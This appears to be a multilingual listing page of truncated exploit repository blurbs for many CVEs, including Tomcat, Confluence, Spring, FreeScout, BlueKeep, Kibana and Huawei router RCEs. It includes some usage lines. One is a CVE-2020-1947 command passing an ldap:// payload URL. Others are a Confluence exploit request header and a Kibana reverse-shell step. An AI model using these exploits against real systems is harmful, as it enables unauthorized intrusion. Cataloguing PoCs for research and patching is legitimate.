CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 المعلومات يحتوي هذا المستودع على اثنين من PoCs لـ Connect Box CH7465LG الذي يعمل على البرامج الثابتة CH7465LG-NCIP-6.12.18.24-5p8-NOSH أو أقدم. لمزيد من المعلومات، ألقِ نظرة على مدونتي. الاستخدام تنفيذ الأوامر عن بُعد بدون مصادقة $ python3 poc-rce.py كشف...

CVE-2025-24813

Description This repository is an environment for reproducing the latest RCE of CVE-2025-24813 Tomcat. For learning and research purposes only! Exploitation Conditions The application has enabled the DefaultServlet write functionality, which is disabled by default. The application supports partia...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — استيلاء مجهول على حساب في FreeScout → تنفيذ تعليمات برمجية عن بُعد RCE تنفيذ تعليمات برمجية عن بُعد دون مصادقة في FreeScout ≤ 1.8.223 نظام دعم فني مبني على Laravel عبر ربط ثغرتين، وكلتاهما أُصلحتا في 1.8.224 : CVE-2026-53595 — استيلاء مجهول على الحساب. يختار POST...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import false أثناء معالجة الرفع. يمكن لمستخدم موثَّق يمتلك صلاحيات الاستيراد — مثل مسؤول الموقع الافتراضي أو مسؤول موقع غير Super Admin في بنية ووردبريس متعددة المواقع Multisite — تجاوز إنفاذ قيود الملفات لرفع نصوص PHP قابلة للتنفيذ بشكل تعسفي مباشرةً إلى الدليل العام...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector पथ ट्रैवर्सल CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea रिपॉजिटरी माइग्रेशन रिमोट कमांड निष्पादन शोषण। उपयोग कैसे करें 1. इस रिपॉजिटरी में फाइलों के साथ एक HTTP फाइलसिस्टम सर्वर चलाएं। 2. api/v1/repos/e99/exp/pulls/1/index.html L96 में निष्पादित किए जाने वाले कमांड को संपादित करें। 3. Gitea इंस्टेंस पर URL http:///e99/exp के साथ...

magento2-encryption-key-manager-cli

Magento 2 Encryption Key Manager CLI A utility for Magento 2 encryption key rotation and management. CVE-2024-34102aka Cosmic Sting victims can use it as an aftercare. Designed for Development usage Deployment automation CVE-2024-34102aka Cosmic Sting aftercare CVE-2024-34102aka Cosmic Sting Afte...

spring-framework-rce

spring-framework-rce CVE-2022-22965 المتطلبات البيئية 1. tomcat8 8 طريقة الاستخدام 1. حمّل springframeworkrce-0.0.1-SNAPSHOT.zip وبعد فك الضغط، غيّر الاسم إلى ROOT.war. 2. استبدل مجلد ROOT أو ملف ROOT.war الموجود في مجلد webapps داخل tomcat. 3. انتقل إلى مسار bin داخل tomcat، ثم نفّذ .\catalina.b...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708, BlueKeep के लिए प्रारंभिक शोषण CVE-2019-0708 BlueKeep RDP रिमोट विंडोज कर्नेल उपयोग के बाद मुक्त RDP termdd.sys ड्राइवर केवल-आंतरिक चैनल MST120 के बाइंड को अनुचित रूप से संभालता है, जिससे एक विकृत Disconnect Provider Indication संदेश use-after-free का कारण बनता है।...

CVE-2026-14982 WP File Download <= 6.3.4 - Authenticated (Subscriber+) Arbitrary File Deletion via 'remoteurl' Parameter

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 Introuvable sur tout le web, je laisse une sauvegarde, script d'exploitation Python , pour automatiser les étapes suivantes : ✅ Objectifs du script 1. Se connecter à l'interface d'administration obtenir csrf et token 2. Construire une requête malveillante pour télécharger une archi...

CVE-2019-7609

CVE-2019-7609 docker lab setup for kibana-7609 Reference : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Open Kibana Past one of the following payload into the Timelion visualizer Click run On the left panel click on Canvas Your reverse shell should pop ! : payload by @securityMB...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework दूरस्थ कोड निष्पादन भेद्यता CVE-2022-22965 Spring-Core-RCE एक rce एक-क्लिक उपयोग उपकरण है जो Apache Log4j2 परमाणु-स्तर भेद्यता exp के बराबर है। अवलोकन हाल ही में, Spring आधिकारिक GitHub issue में Spring Core की दूरस्थ कोड निष्पादन भेद्यता का उल्लेख किया गया था, यह...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research بحث Pulse Secure mitm تاريخ الإصدار تاريخ إصدار مشترك مع البائع: 26 أكتوبر 2020 المؤلف David Kierznowski, @withdk شكر وتقدير Sahil Mahajan من فريق Pulse Secure PSIRT لدعمه طوال عملية الإفصاح. Alyssa Herrera وJustin Wagner وMimir وRich Warren لكتابتهم: "Red Teamer’s...

confluence-rce-poc

confluence-rce-poc CVE-2021-26084 Docker के लिए POC सेटअप करना आधिकारिक docker-entrypoint.sh को postgres को प्रदान करें, db उपयोगकर्ता नाम और पासवर्ड को आवश्यकतानुसार बदलें।...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2023-46404

CVE-2023-46404 PCRS is a webapp for online programming exercises developed at the University of Toronto. See Bitbucket repository: https://bitbucket.org/utmandrew/pcrs/src/3.11/ Summary PCRS “Questions” page with code submission and “Code editor” page are vulnerable to remote code execution RCE b...

HG532d-RCE-Exploit

HG532d RCE Exploit Overview A Remote Code Execution RCE exploit based on CVE-2017-17215 vulnerability. Modded from original PoC code from exploit-db.com to work on Huawei HG532d Home Gateway Routers. Description This RCE exploit is based on CVE-2017-17215 which exploits vulnerabilities in the UPn...